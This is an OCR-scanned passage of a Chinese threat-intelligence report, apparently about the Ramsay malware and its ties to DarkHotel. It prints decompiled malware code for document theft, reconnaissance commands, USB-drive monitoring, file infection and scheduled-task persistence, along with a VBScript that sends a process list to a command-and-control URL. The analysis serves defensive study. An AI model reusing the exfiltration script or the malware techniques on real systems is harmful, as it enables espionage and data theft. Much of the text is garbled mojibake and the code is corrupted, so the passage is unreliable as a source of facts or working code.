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2.1.1 S K ¥ : DIEntryPoint()
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2. B AN "% APPDATA%\\Microsoft\Word\\winword.vbs" , )\ FB I EAfiWord LAY 32 B Al ST AR,

vB5 = &FileName;
kk_cryptData_2trnmg_sdb({L"Collect Recent DOC - Xs", &FileName);
PathName = @;
memset(&vEd, @, Bx206u);
w65 = (WCHAR *)&Data;
wsprintfW(&PathName, L"¥s\\Microsoft\\Word”, &Data);
if { PathFileExistsW({&PathName)} || CreateDirectoryW{&PathName, @) )
{
v2 = PathFindFileNameW(&FileName);
PathAppendW(&PathName, v2);
if ( CopyFileW(&FileName, &PathName, @) }// EflWordZE{F .
// ZAPPDATAX\\WMicrosoft\\Office\\Recent\*.docx.1nk --»
A/ ZAPPDATAXN \WMicrosofti\\Word\\

kk_wbs_doc2txt(); /4 Word 3AHEE 1L it i
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ved = &7

kk cr‘ypt[)ata_ztrnmg_sdh(L“Eu:ullect TXT by converting word - ¥s™, &vw72};
¥
FindClose(hFindFile}; ﬁE *_
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FTAHERL K : PleaseTakeOut6031416!!@@##

4. KBEBE R AL THFE " HYON.exe "8 "BON.exe "8 "Cover.exe"# , XN A4 RfE. WHH
WA "msfre.dlI"BEFHE T NEPEHFR © "Ramsay” , NEBRRASA)vE,

wgetenv(L"SystemDrive"};

if ( TStrStrIW(8First, vs5) /1 SEHE R T A
|| strstrIW(&First, L"HYON.exe") /7 HEIHIE S AHYO0N. exe
|| strstrIW(&First, L"BON.exe™) /7 HREIHIE 080N, exe
|

StrotrIW(&First, L"Cover.exe™) ) // SAIHE EMCover.exe

vE = GetCurrentProcessId();
kk_cryptData 2ramdisk_sdb(

L"===== Injected Ramsay D1l vXd (PID: ¥d, Path: s} =====",
*(_DWORD *)v8_dword_10092B004, 1/ EEE N i
ve, el =
&First);

2-5 "msfte.dl"AHHRINET 4
5. BT BE XM HERTESES | S IE3E.
2.1.2 SHER¥ : AccessDebugTracer()FlAccessRetail Tracer()

1. [ explorer.exei A T2 F NE 5.

2. ¥ BB A5 E N\ "%APPDATA%\\Microsoft\UserSetting\\version.ini" , Mt/ iRA< A8,

3. XREARLER , BIEARGIRA. #HFEFFk, MLERE. MEARE. KBEEE. ARPK,
msfte. dIIF{HFE. R ZE. Pin "server" EAHLER (IEFEIATELE) . A T hfile.sysi) RE L,Hﬁ% XLt
SELZNE , RIFEZE"%APPDATA%\\Microsoft\\UserSetting\\MediaCache\\" B 3% F (). rtt3C {4,
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memset(&CommandLine, @, @x288u);
wsprintfW(&CommandLine, L"/c systeminfo™);
sub_1888CA6B(&CommandLine, pszl, al2);
memset{&CommandLine, @, @x208u};
wsprintfW({&CommandLine, L"/c \"tasklist /v\""};
sub_1888CA68(&CommandLine, pszl, a2);
memset(&CommandLine, @, @x283u);
wsprintfW(&CommandLine, L"/c \"netstat -ano\""};
sub_ 1888CABB(&Commandline, pszl, al);
memset(&CommandLine, @, @x288u);
wsprintfW{&CommandLine, L"/c \ipconfig /all\""};
sub_1880CA6B8(&CommandLine, pszl, al2);
memset{&CommandLine, @, 8x208u});
wsprintfW({&CommandLine, L"/c \"route print\""};
sub 1668CAGR(&Commandline, pszl, a);
memset(&CommandLine, @, @x288u);
wsprintfW(&CommandLine, L"/c \“arp -a\"")};
sub_16@8CABR(&Commandline, pszl, al);
memset{&CommandLine, @, @x208u};
wsprintfW({&CommandLine, L"/c \"tasklist /m msfte.d11\""};
sub_1888CABB(&CommandLine, pszl, a2);
memset{&CommandLline, @, @8x208u});
wsprintfuW(&CommandLine, L"/c \"net share\"");

sub 1688CA60(&Commandline, pszl, a2);
memset(&CommandLine, @, @x288u);
wsprintfW(&CommandLine, L"/c \"ping server\""};
sub_1888CA6B(&CommandLine, pszl, al2);
memset{&CommandLine, @, @x208u};
wsprintfW(&CommandLine, L"/c \"sc query hfile.sysﬁ'E*
return sub_ 188eCABB(&CommandLine, pszl, a2);

2-6RERGER
4. {RER TR 2R LR 2Z 77 B P JR 442 A oxt”, ".doc A" xls" BRI SCAY ST AF
"%USERPROFILE%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IES\\"
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A A a"WEH , W EIpfnWndProctR¥R , SRELYBINBH A B IFHRERANKERLER
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WndClass.lpszMenuName = @;

WndClass.lpfaWndProc = kk_RemovableDevices spy;
WndClass.lpszClassMame = L"1lua";
WndClass.hInstance = hInstance;

if { RegisterClassW(&WndClass) )

{
hiind = CreateWindowExW(
8,
WndClass.lpszClassName,
a,
a,
2147453648,
2147483648,
2147483648,
2147433648,
8,
aJ =
hInstance, ﬁn *
8);
if ( a2 == ex3ee8 ) J// DBT_DEVICEARRIVAL
if ( *( DWORD *}(a3 + 4) == 2 }
1
1strcpyW(&Stringl, L™A:");
Stringl = (char)sub_10@@8FA@(*( DWORD *)(a3 + 12));// WRESH
kk_cryptData_2ramdisk sdb({L"Drive %s Media has arrived.”, &5tringl});
result = sub_10008BA@(&Stringl, 1, @); f FEBFNMETE . BEBER
b
else if ( 22 == @x8004 ) // DBT_DEVICEREMOVECOMPLETE

i

result = a3;
if ( *(_DWORD *)(a3 + 4) == 2 )
i
vi = sub_1@@@SFAB(*( DWORD *)(a3 + 12)); // WBEEWN

result = kk_cryptData_2ramdisk sdb{L"Drive ¥%c: Media was remo

1
¥

2TRESNBBHFERENER

6. NMCVE-2017-01473F A3,

CVE-2017-0147-/% 2 B7k 18 2% F fWindows SMB {5 EittmimiR , X B XEHH BT R
Microsoft fR %525 HITE.E3 1.0 (SMBv) A ESASIER , (IREHEESHFEEZRA , FAFA :
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kk_cryptData 2ramdisk_sdb({L"<-> ¥S(¥S), NOT VULMNERABLE", cp, &Stringl);

mE IT = EJ'
1
else
1
kk_cryptData_2ramdisk sdb( ﬁ E *

L"<+> ¥5(¥%5), VULNERABLE (STATUS INSUFF_SERVER_RESOURCES)",

2- 8RR IRBE RN R BT AR
7. I Z B3
SEEE  XEANMNEAZNFERNXM4IIR, B4, B<H, FRTE.
SR EMNENZFERTRBEL A ", "doc"F" xIs"FISTAYSLH

8. NZX "%SystemRoot%\\System32\\Identities\\" B 5% F £ A1 "netmgr_%d.dIlI"f{IDLL , %dEX1%19, iZDLL
R EEEARIESHBEGERN (SN E3ERamsay T XA EHNENA) , BETARFISRIK :

wsp’intf?(&:;:Jatﬁ; L"¥s\\netmgr_%d.d11", vz, v1);// ESystemRoot®¥\\System32\\Identities\\netmgr_%d.dll
if { PathFileExistsW(&pszPath) )

1
7 = LoadLibraryW(&pszPath);
kk_cryptData_2ramdisk_sdb(L"LoadAutoRunDll - ¥s", &pszPath);
if [ w7 )

uuuuu

Sleep(l@06u);
2-9/N#;Knetmgr_%d.dll
2.2 JWiRFI XS

IRIRF ASAE T B XA E B3 A\ BARERNEE | S/RiBd RIACVE-2017-0199MCVE-2017-
8570IRTAVBSHIA | IRINEMRBEEIIFANG], HHFEHPEXHISEER A+ , BT VBSHANBIE
T, FIRFFRTASIEUAC , (FAERRUEREENALSESMSNEA B FHEEENER.

MR FRamsay VIFEAIR A BIIER AHATIRE | (BEASIET B E XX HERIZHES ST L
No BEFEX , ZOIRECAENERBRER T X BARRREAE TSR EN.

MAAIE “accept.docx”HIIESCATH , RIBHRFHIAIA201965 820 , BT RN AHAE.
THRBIEHEM S, PXE LR DR
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2-11E R A4S AR PESUE
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I

|
-

accept.docx
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C:\ProgramDatal,

e 3 R

2-12 CREHEERIPITIRAR
BN A exeRIRADHT , BB T L3RR IER R Dropperf) R RIRAS.
RIABHES EERTRERRIES | 640 :
> BT REREB S SHRE AN "gQIV0e5m8zP6",
> 1E{T—HCMD@ 4 , RERGER.
> WE AN AT B AR B HER.
> MNE BT RO “netmgr_%d.dll” |, %dEX1E19,

Page 12 of 35



https://www.antiy.cn/research/notice&report /research_report/20200522.html

> GIBUE IR PR EE R .
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%PROGRAMDATA %\sharp.exe 562064FF7 WIinRARE A 52

> SF30MEE— X Fw

> UESMNBABINFHERERAN , [RT REER , CSBEUZIRNFH.
> RARFT AL %R0 Ay Please TakeOut! @#
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1EHFES TR RE

T ERAR , gEh—EMERNSHLZE R LR,
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o  [EHMA
I $T1: BRIEBAEXEX | EERER
%, EBEEEERTHEA :
I EREAINEERT
‘ BRI | | ........
L] B BPR R |
¥ s EEmsmERs

Eqm FRETETHEEE
= HiES

—>  EERTHTRRRE
......... - EERTIRERRRE

-

~

3831 L ERERAR

WordXt, Eﬂﬂﬂﬁﬁ@ﬂl!ﬁﬁk
MR

—

B

#483.2: RamsayAx3

FIHEEISOH, SRANIIRIAY

y ESHAITIESTIRNE
R

Py 2 A PEmEE
g (EXE

I W33 ITEEN

EREEEADETLR
BRI

BiTiRERLE

‘\__

3-1 SR PRES PRI AR AR

3.2 SERK R B ML SR EL 3 AT
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W& TR MK TR , BB REAMIFRGEMAMLZ BRFHNEXEH (R
HEERET) |, BEIR7ZipHREFEEMERNITAE , ARHFHETREERES S F#EEET
XTI HIME IR P IFENETT.

if ( ReadFile(hFile, &Buffer, @x32u, &NumberOfBytesRead, @) )// RELIZEXE

1
CloseHandle(hFile);
v18 = kk_findPartPosition(({int)&Buffer, 5@, @, PESig5_byte 429E1C, ®x1Bu, @);

if { vig )

{ :
kk_cryptData_2trnmg_sdb(L"[-] Already changed: %s", &pszPath);// BEPesigs. MBWiEsRH
if ( a2 )

+dword_42909C;
else
++dword_429D4A8;

¥

else /7 R E

1
v1ld = kk_findPartPosition((int)&Buffer, 50, @, PESig4 byte 429EG8, 6x13u, 8);
if [ v1B )

1

kk_cryptData_2trnmg_sdb(L"[+] Needed New Binding: %s", &pszPath);// EEFHEY
lpAddress = kk_Readfile(&pszPath, (int)}&FileSize v3);
if { sub 483228(&pszPath, (int)lpAddress, Filesize vo) y// HITIHY

1
kk_cryptData_2trnmg_sdb(L" > Success to Merge!");// HYEREIH
if ( 22 )
++*(_DWORD *)dword_429D94;
else
++*(_DWORD *)dword_429D98;
iy
else A
{ fﬁi!:! X

kk_cryptData_2trnmg_sdb(L" > Fail to Merge!");// fHEHFSM

3-2IFE EXES R MAR

R TTRRAILEMIEAR 2D FE TR |, SCHFEE B 4S5 BR 5 “9J7uQTqg TxhqHaGUue5caaEr3KU” 2 A 7 AR
O, BRES R,
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4znZCTTa2l24E64GzUxalnYg

52736534

2A2rRhArFeaks9PaRZBwdrbn

595968+

pN54RaafaQfjWXjM3Ku3UkgP
EE A

9)7uldTgeTxhgHaGUuescaaEr3kU

3-3/BA T RRETAINEAR

BERAN : BT XHEREEES

EXERRLER

Installer

IFEEXETITRES

Dropper

IF EEXES#

|||||

———

L=J

R

Wi FE SR IVASAHEREE | S MEIRE . FKAFNX AT AR IRIEL B AR B A

S PR AR F T ST,

BT BARSCILA] 43 4201 94E IR A FN20204E kR AR |, PA20194ERRAS 4345 :

ESFPUTII RN :

Wit I EfR S A RISMED | RS2 EE . dock.doex LAY , FERHBFNTE S FEURTE AL T
PRLEM, FEHE B AMETIOAIREMAT RS BRI | FNREIERE Ramsay AR EE S EIR

17.
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IR .doc / .docx

0
.doc/.docx [E
B
AT
Y
EOF ==
TER
3-4f5 S BIER NS

ETBE XX HEmiztESm T &
3 3-1 ATHRIKTE S HIThRE

- ThRE

Rr*e#R79m3QNU3Sy  IEHITXSR , M TEMPHRR fflexeFi51T.

EEPHITIS |, [ %ALLUSERSPROFILE%\\Identities\\H SRR %

CNDKS_&pgaU#7Yg9
—P8 & netmgr_%d.dlIFFNZE,

2DWcdSqev3?(XYqQT  IEITXYR |, 134TCMD 4,

8L TASE , MEMBHRHMIESR | BRARASEIER.

DRz

BT T IR B MR N E BT , SHNT

IR T AU doc. doex XA | BSKH AV I RISk JRislRIaS [ 4E 1 A AN,
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HIR2 1 RARMEFTEEFFRET BHIRHNI 4R , b APleaseTakeOut! @#
#I%3 : SFRAREHEBHLE—HREEXINE,

#HIR4 : [[).docEk.docx ALK B IR , BiEMagichrs., AHIEHFGUIDMMENTITEEIE. B
FRE—A RSP RER Ry , RItLE BB RTBER 2NN E.

XHrRE .doc / .docx
0
.doc/.docx [R1F
Magickrs FiniE &

54 29 07 01 2¢ 89 AD 6A

AHLEEFGUID
v MEERIRAREHE
EOF “EXR
3-5GT EHER g

SRS OFN)  FREREFEHETIRMINELERRXASHIREMLE | IRECHBHEBIEREN
BHFEER.

HIR6 (FBM)  WEEREBERMagicll , ENERENZFTEINREZERFTRIM, 1K
Bt 3oy, B BERMI A0 E EHGUIDMGTESIRE | TS .

4 BB SARREAHT

4.1 FEAREX

FR¥JE “accept.docx B & H “afchunk.rtf" B i AL TTHUIE AR TR A FFHE , REREXH: 5—
f5|“afchunk.rtf” :
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B HE o ;

FEtdERTRIE 2
FreisphatiEl - 2019/3/18 21:24 i HtMpHOEficeTemporary. sCt
o — - — B ew: {00000000-0000-0000-0000-000000000000 §
B 2018/8/3 9:48| Hifieal. Microsoft Word 97 - 2003 744

Y TENRE]

HRFTENRTIE] |OLE Package object:

|Filename: u'OfficeTemporary.act’
EFX AR | | Source path: u"C:HIntEl\‘[-foicEIemorary.s-:t.'
=18 ey T Iclass name: "OLEZLink"
S SR |data size: 2560
=] Windows AHEAL |MDS = "dase337d42fbab%2badbeaZadel8SET73L"

|CLSID: 00000300-0000-0000-COo00-00000000004&
ﬁ ey

LinisEis Windows User vy *

4-12 5 “accept.docx” 8 & fllafchunk.rtf

B HE .
Fif B
IEMIETE 2019/6/13 14:57 :
DIREESETE - 2019/6/13 14:5: BT %tMp¥ eoGLe0fFiCeCHk. =0t
2I|ZERT ] 2018/8/3 0:48 SFRRIME:  ew: {00000000-0000-0000-0000-000000000000}
= 2 —= BT Haten. Microsoft Word 97 — 2003 il
T iE_
DR |0OLE Package object:
|IFilename: u'pin'
BxAm |Source path: u'C:\\Intel\\pin"
=

- |CLE Package object:
feE Windows AMEF} |Filename: u'zin"
" |Source path: u"CayAvIntelh\zin'

i Windows User ICLE Fackage cbject:
|Filename: u'googleocfficechk.act”
I | Source path: uTC:\\IntEl\\IgDDglEfoiGECh]{.EIGt'

|class name: "OLE2ZLink"
|data size: 2560

ﬁ-—-—-
|MDS = *93Eff81252|:tlzﬂcﬂlbﬁadbSSEldDdsz'WLH*
|CLSID: 00000300-0000-0000-C000-000000000048

4-2 FEEE afchunk.rtf
F R B “afchunk.ref” (K EHASK B RARE4G B B ifidhagk rar” , BAAPITIRFZLAT -
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HEriEl.rar

AN
A CVE-2017-0199

MHMINS191287Adoox

as CVE-2017-8570

B

afchunk.rtf

£
iﬁm

googleafficech
svupdate32.exe k.set msric32.exe

%LOCALAPPDATA%\Local\VirtualStore\ st B 2 ??ﬁﬁ%

il

4-3KRERBEAR TP TIRAR
“googleofficechk.sct” & 50K R M AT HFES IR KME EMAAN T URL |, IREZ5C2 :

http://find-image.com/img/image.php?K=F84hFhfeHUiFQE &test=Base644m AL R FE 5|3

m o

strlomputer = ".
Set objHMIService = GetObject ("winmgmts:{impersonationlevel=impersonatel !'\\" & strlomputer & "\ rocoti\cimv2™)

Set colProcess = objWMIService.ExecQuery ("Select * from Win3Z2_PFrocess™) NS E RN

For Each objProcess in colProcess
SteEList = SEELISE + " ™ + objProcess.Name
Hext

Set xmlHttp = CreateObject ("MSXML2.ServerXMLHITE™)

xmlHttp.0pen "POST™, "http://find-image.com/img/image.php™, False

xmlHttp.setRequestHeader "Content-Type™, "application/X—www-form—urlencoded”

xmlHttp.send "K=F34hFhfeHUiFQEstest=" + Base&4Encode (strlist) =EE4EbC2 _WE *
Set xmlHttp = Nothing
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4-AFREHFESRIFIR B4 C2
Bh RS B3 E R TR “svupdate32.exe”F1“msrvc32.exe”,

“msrve32.exe” ARWWEARLER , BIERGHRA. J2M, X, BSHEME , FMEURLEX
LAERARIEEC2 :

http://win-api-essentials[.]Jcom/package/v2.php?im=000C29A414B2&fg=u&inf=Base644g i3 255 E
HMIEURL , FHEOHEI“%LOCALAPPDATA%\Local\VirtualStore\” B 3%~ K& 6 % 3L
http://win-api-essentials[.]Jcom/package/v2.php?im=000C29A414B2&fg=d
£ FHC2 : http:/service.email-126[.]net/box/open.php?se=000C29A414B2&fg=d
RJAMRIEC2IR BIBIEF A E TS ML |, XAl A& RS AT T —D4R4E

3R 4-1 ATHEIINTE S A ThRE

]
<

Thee
tta EFENLG B, EmE AR ENTH
tx RIS RHSHE  EGERN  ARHTF T +exe , KRIRSH B HIET

e CRRELG AR, AR B R T IA E FRHESX 4 R

KA RIS, BENE“%LOCALAPPDATA%\Roaming\Microsoft\Word\STARTUP” H 3%
T, R  BERNTFR+wIL, DULSCIRAE Word 2 e sh R R BT T

ttw

i BN B, B R  AENTR+.exer HAth
5Samsayj&ah , PLE DarkHotel [/ 58 AR D) Bk -

ZEFLE |, “svupdate32.exe”2H {4 54k Ramsay/ESIRIARL , PAK 2019451 B # WM s (1] &
fDarkHotelZHZR T DropBox () AR L F2F : eead09bbefee23eb475e4161f06d529a , = H 1K IV ERTFFEIH4S
ROpAE
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if (v6 >= 9 )

i
v85 = 83
vB = (void ***)sub 481288(&v76, L™\\");
LOBYTE({w1@2} = 5;

v = *vg;
if [ vo )

vld = *v9;
else

vie = @;
v75 = (int *)&vE5;
w74 = v18;
w73 = ppv;
vll =
LOBYTE(v182) = @;
v1l2 = v1l;

sub_4@1338(&.76);
if ( viz >=8 )
1
w13
LOBYTE(v182) = 63

if (v24 >=8 )

1
w25 = (_DWORD **)sub 4812BA(L"Triggerl™};
LOBYTE(v1e2) = 7;
w26 = *u25;
v27 = v26 ? *v26 : @;
v75s = [int *Iv27;
w7d = vB7;

(*({woid (_ stdecall **)}(wvoid
LOBYTE(v1a2) = @;
sub_481338(&.75);

v28 = (_DWORD *)sub 401280(L"2005-81-01T12:05:00");
LOBYTE(v182) = 8;

*, int))({*( DWORD *)v87

v23 = *y28 2 *{ DWORD *)}*v28 : @;

v75s = [int *)v2o;

w7d = vB7;

w39 = (*{int {_ stdcall **)(wvoid *, int))({*({_DWORD
LOBYTE(v1@2z) = @;

w3l = vw38;

sub 481338(8&v75);
if ( w31 =9 )

i
w35 = @3
v75 = {int *)}&v05;
v7id = vB7;
v32 = (*{int (__stdcall **}(void *, wvodid **})({*(_
v7s = {int *}vB7;

(*(void (__ stdcall **)(void *))(*(_DWORD *)v87 +
if ( vi2 >= @ )
1

v33 = {_DWORD **)sub_48128@(L"PT3M");
LOBYTE(v162) = 9;

4-5 “svupdate32.exe” {1t Z{AD
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(void ***)sub 481288(&.75, L"MSrvcSecureUpdate™);

report/20200522.html

(*({int (_ stdcall **)(LPVOID, wvoid *, int **))({*(_DWORD *)ppv + 28))(ppv, v18, &v35);

&

AMTIY

———

o X

+ 36))(v87, v27);

*IvE7 + 6@))(vE7, v29);

DWORD *)vB7 + 4@))(v87, &v95);
8))(vE7);

———

A=

9Ty

X
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if ( vo =8 )

i
v1es = @;
vll = {VARIANTARG ***)sub 4@1CA@(&v91, L™\\");
LOBYTE({v113) = 5;

v1Z2 = *v1l;
if [ viz )
vl3 = *v12;
else
vl3 = 8;
v79 = 8v185;
V7B = vl3;
w77 = [VARIANTARG *)vlad;

vl4 = (*(int (_ stdcall **)(int *, VARIANTARG *, VARIANTARG **))({*vled4 + 28))(vlies4, vl13, &v1Bs);
LOBYTE(v113) = @;

vls = v14;

sub_ 481058 (8v91);

if ( vl5 >»=8 )

{ ﬁ?r—1
vle = (VARIANTARG ***)sub 481CAB(&v91, L"System"); e H *
LﬂEYTE{Ullﬂ} = Bb;

if { v27 >=8 )
1
v23 = sub 481CAB(&vI1, L"Triggerl");
LOBYTE(v113) = 73
v29 = ([ DWORD *}*v28;
v3@ = (VARIANTARG *}(v29 ? *v29 : @);
vl = v3ia;
V79 = v183;
(*(void (_ stdcall **){ DWORD *, VARIANTARG *, DWORD *, int)){*v183 + 36))(
v1es,
w38,
vBl,
wB2});
LOBYTE(v113) = @;
sub_ 481058 (& 91%;
w31l = sub 481CAR(&v91, L"28085-81-81T12:85:88");
LOBYTE(v113) = 8;
v32 = *y31 3 *{ DWORD *)*v31 : @;

vB2 = v32;
vBl = v183;
w33 = (*{int {_ cdecl **)( DWORD *, int)})}{*v1e3 + 80))}(v1e3, v32);

LOBYTE(v113) = @;
v3id = v33;
sub_ 481058 (& 91%;
if ( v34 »= 8 )
1
vad = @;
wBe (VARIANTARG *)&vo4;

V79 = w1833
w35 = (*({int {_ stdcall **)({ DWORD *, DWORD **))(*v183 + 48))(v1a3, &vod);
vB8 = (VARIANTARG *)v1e3;

(*(void (_ stdcall **)({_DWORD *))(*v1@3 + 8))(v1@3);
if (v35 »=@ )

{ sﬁ’"—'—-*

v36 = sub 481CAB(&v91, L"PTSM"); e BX
LOBYTE(v113) = 9;

4-6 DarkHotel T Dropboxf)iE K5
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if (vE3 >=8 )

1
VB4 = @;
w7 = sub A83CES( (int *)&we2, "\\");
viee = 43

vd = sub 483048 (int)v7);

vB3 = (*(int (_ stdcall **)(LPWOID, int, int *))(*( DWORD *)}ppv + 28)}(ppv, v8, &vB4);

viee = -1:

sub_483088(&vE2);

if ( vB3 >=8 )

i ﬂ?rﬁq
vl = sub 483CEB((int *)&vEl, psz}; £ "netwiz" we BF
vles = 5;

if ( vB3 »=8 )
1
vod = @;
w83 = (**({int (_ stdcall ***)(int, wvoid *, int *))v85)(v385, Bunk 430738, 8v04);
(*({void { stdcall **)(int))}(*({ DWORD *}v85 + B})(v85)};
if (w83 =0 )
1
w12 = sub AB3CEA((int *)&ve@, L"Triggerl"™};
v1ed = 6;
w13 = sub 483DA8((int)vl2};
w83 = (*(int (_ stdcall **)(int, int)}({*({_DWORD *)v94 + 36})(v94, v13);
viees = -1;
sub_4@83D86(&vEl);
vi4 = sub 483CE@((int *)&v59, L"2005-91-81T12:85:00");
vlen = 7:
w15 = sub 483DAB((int)vld);
vB3 = (*(int (_ stdcall **)(int, int)})}({*( DWORD *)v94 + &68))(v94, v15);
vies = -1;
sub_4@30s8(&v59);
w83 = (*(int (_ stdcall **)(int, signed int))}({*({ DWORD *)vo4 + B4}))(vo4, 1);
if { vB3 =0 )
1
vBE = @3
vB83 = (*(int (_ stdcall **)(int, imt *}}(*(_DWORD *)vo4 + 48))}(v4, ZvE3);
(*(void (_ stdcall **){int))}(*({ DWORD *)}vw94 + B})(vo4);
if ( w33 »=0 )
1
vl6 = sub 4@3CE@((int *)&/58, L"PT24HeM");
v1ee = 8;
vl7 = sub 483DAA((int)vle);
v83 = (*(int (__stdcall **)(int, int)}(*{ _DWORD *)}vEB3 + 48)}(vEE, v17};
vies = -1:
sub_ 483080 (&vSE);
if (w83 »=8 )

{ =iy
vl8 = sub 4@3CE@((int *)&v57, L"PTSM"); ﬁﬂ*
viee = 9;

4-7 Ramsayj&EZENF Inetwiz.exe
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FROO0-85 00 00 00-5C 00 00 00-00 00 00 00
g7 00-87 = e 1
20 00-30 2 B -0
21 00-54 ) it

30 00-30 05:00 PT

O-00 00 00 oo=-73 74 792 074 2 X strins t
BC-BF AT D0-59 BE TH b 20 oo 1I:II'J.E!_' 1 =
O-BE &Y 20 TO-5F 73 B9 74 GF BE 00 =string position

4-8=FRIFHENHLE

4.2 HEAKER
IR NAREBELST | FAi1&FL T Ramsay-5DarkhotelZBZR ) % Bk :
L BXES

Ramsay/ESUIE R HIAME AN B E XMEELZE |, RETRE2aEET (2] #, DarkhotelZHZRZ 1k
ATREE—3

int _ cdecl kk_cryptFunc(int al, unsigned int a2)

{

w M =

int result; // eax
unsigned int i; // [esp+8h] [ebp-4h]

s IR ) Q8

for (1 =0; i < a2; +i )

{

*(_BYTE *)(1i + al) = (*(_BYTE *)(1i + al) ~ OxFA) + 35;
result = 1 + 1;

O 00 ~J

=
&

}

return result;

2
dal
H

4-9 RamsayfI & i%HA5I
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int _ cdecl fun_Decryptstr@8(int a1, unsigned int a2)
{

int result; /7 eax@3

unsigned int i; // [sp+06h] [bp-4h]@E1

for ( 1 = B; 1 € a2; ++1 )
{

| »(_ BYTE =)(i + a1) = (=({ BYTE =)(i + a1) " @xa4) - 52;|

result = 1 + 1;

’
return result; ,g,,_._,*

& 4- 10 R pIF REHENEE
AR FAFEIARAEEERE , HPRNE ZFfHh S0k FTRNE T ANNESER -

1lJint _ cdecl kk cryptFunc(int al, unsigned int a2, int a3)
2l{
3| int result; // eax
4| unsigned int i; // [esp+4h] [ebp-4h]
5
6] for ( 1 =0; 1 < a2; +1i )
7| {
3 if (a3 )
9 *(_BYTE *)(i + al) = (*(_BYTE *)(i + al) ~ @xFA) + 35;
10 else
11| | *(_BYTE *)(i + al) = (byte 1@@2BCE8[i ¥ @x4@0] ~ *( BYTE *)(i + al)) + 56;
i F result = 1 + 1;
13| }
14 return result;
15[} b= 3
B 4- 1R B A B R

unsigned int _ cdecl fun_Decryptstr{int a1, unsigned int a2, int a3, unsigned int =ak}

{
unsigned int i; /F [sp+8h] [bp-4h]E1

For ( i = 0; i € a2; ++i )

[*{ BYTE »)(i + ad) = byte GASBABBO[(signed int)i ¥ 64] = ={ BYTE »)(i + al); |
wal = al;
return a?;
} TEXR
& 4- 2T RISHBENE X

2. THREAIAE S :
Ramsay-5Darkhotelf) [ S8 K D7 7E1F L TNREAIAER , B0 :
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> HIFRGIMIWSearch iR %, SKIFFAHW, | KIGSYSTEMALR.

> £ AAWInRARINEZS T RGBS 1.

> AL A a"EH , SKELCHHTEhRE.

> B —ACMDG SWELRIRSER , XAGS KN ESBEIUFHER.
3. FFIAMERES

FRYE"bindsve.exe B AT E A IR ERIREK

if ( ::1lpAddress )

{
wsprintfA(PESigl byte 423DAC, "¥s%s", "4znZCTTa2l24", "EE4GzUxalnYg");// PEIRREZk1
wsprintfA(PESig2 byte 429DC8, "%s%s", "2A2rRhArF6ak”, "S9PaRZBwdrbn");// PEIRREZk2
wsprintfA(PESig3 byte 429DE4, "¥sXs™, "pNedRaataQfj”, "WXjMIKu3UkgP™, v7);// PE#?T?F':“\._B__.
wsprintfA(PESigd byte 429E@8, "%s¥s", "917uQTqgTxhq”, “"HaGUueScaaEr");// PEIFER4.,
wsprintfA(PESig5s byte 429E1C, “"%s%s¥%s", "9J7uQTqgTxhq”, “HaGUueScaaEr”, “3KU");// PEIRS2LS

4-13 ik Ramsay K B ARGk
AEME REXH 2019466 B IAEEAR |, BUATIX 3R SRR AR B e A 3R E -

else
i
v25 = Bi64;
val = @;
v25 = (char *)sub_ 1886025568(*(char **)&v17[4], *(int *)v17, “SO9PaRZBwdrbn™);
if [ Iv2s }

return @iGd;
Val = lstrlenA(&String + 1824 * (unsigned _ inte4)vw7);
memmove (V25 + 12, &Val, 2uied);
w27 = v25 + 14;
memmove (v25 + 14, &String + 1824 * (unsigned _ inte4)v?, (unsigned int)val};
memset(&v25[val + 14], @, luisd);
v25 = (char *)sub 188062558(*(char **)&17[4], *(int *)v17, "2A2rRhArF6ak");

if [ Iv25 )
return @iGd;
Val = lstrlenA(::5rc);

memset{v2s + 12, VWal, luib4);

memmove (v25 + 13, ::5rc, {unsigned int)val);

memset{&v25[Val + 13], 8, luisd)};

v25 = (char *)sub_ 120002558(*(char **)}&v17[4], *(int *)v17, “937uQTgqegTxhg™);

if [ Iv2s )
return 81i64;
Val = 163

memset{v2s + 12, 16, luibd};
memmove (v25 + 13, &5rc, {unsigned int)val);
memset{&v25[Val + 13], 8, luisd);
if { *(_QWORD *}&v17[4] }
sub_ 120005780 (*(char **)&v17[4], *(unsigned int *)v17); 2
} A= F S

return 8i64;

4-14 PAfEDarkhotel}FFh A D AR E Sk
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FEFT S AR DarkhotelFGFN N AT FEF |, MERBIRRIEABITFAERRREIHRNS | BB EL R
VERER. XLEKE ARG Darkhotel AERESIF G HINY , WBSAGHRE | AXFLHNIEES
DIFRENFAEERZ X , ATRAEH Darkhotel R &Kk 1E B AR R A RFEAMBEN , IR K ERHM

WA ADHIRE

20243 HaH
72920.exe
2019/3/20 - 2020/5/18
Darkhotel 455 7 & 1k 20243H8H
%TEMP%\\%S.exe
wKCm2fXgkacZ gQ9V0e5m8zP6
20méE6 H2H Mof9km0251YP 1
lame_enc.dll croyFEdohZFq
2019483 A20H cUAPpAPLW7dr pN64Raafa Q]
Bd50ca.. 20194F9H24H
wKCm2fXgkacZ netwiz.exe
MofakmO251YP uojQ7eRF2Lsq
cr9yFEdohZFq gQ9V0e5m8zP6
U ' ) ) ) ) )
201854818 201857518 20186E1051 8 2051518 202054 H18
201952515 20m:E5 8178
»
20204368 H
20194E6 H10H 20195F9H24H
uojQ7eRF2Lsq uojQ7eRF2Lsq
Win32/HackTool.UACMe dpnom.dll
pN64RaafaQfj
bindsvc.exe

4-15 Darkhotel 455k ARET R A AT [R5

Cedbh?2. sample

ELLSS |, 2019 ERA , BIAKIRR2HA201966 8 (“FAE” (Darkhotel) FXie[E
SRALTHEFLEIEKE) BIREFMIA K Darkhotel5Fp AL,

SDarkhoteiFF AL EEHRRIBRLZ . Hia0 , FIKTC2IR BI¥IRHITFLES>

ENFFiaMEE. ZIRBIKZ reset" , NIk "vector.dat" L4 :
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vi2 = @;
VB = @i64;
vil = @i64;

vle = a4 + 36;
Memory = (unsigned _ int8 *)malloc(vie);
sub_186002E18(v1S, Memory);
if ( Src &% Size )
memmove (Memory + 36, Src, Size);
for (i =8; i « dword_18065E604; ++i )
{
vB = sub 180@883280( (const CHAR *}(((signed _ inte4)i << 10) + vi6), (__ int64)Memory, v1@, (_DWORD *)&s16 + 1);//
// http://service-security-manager.com/c58c9f6c-a306-41d@-8d24-bfec3asfaabe/21270. php
/! *wol=honeycomb
// &q=4znZCTTa2124
// &guid={6badf36d-7339-11de-9e20-806660629463}
if ( v8 )
i

*ab = i;
break;

}

free(Memory);
if ( vd )
return 8ie4;
if ( Str5trIA(vE, "reset"} )

Stringl = @;

memset(&v1is, @, @x183ui6d);

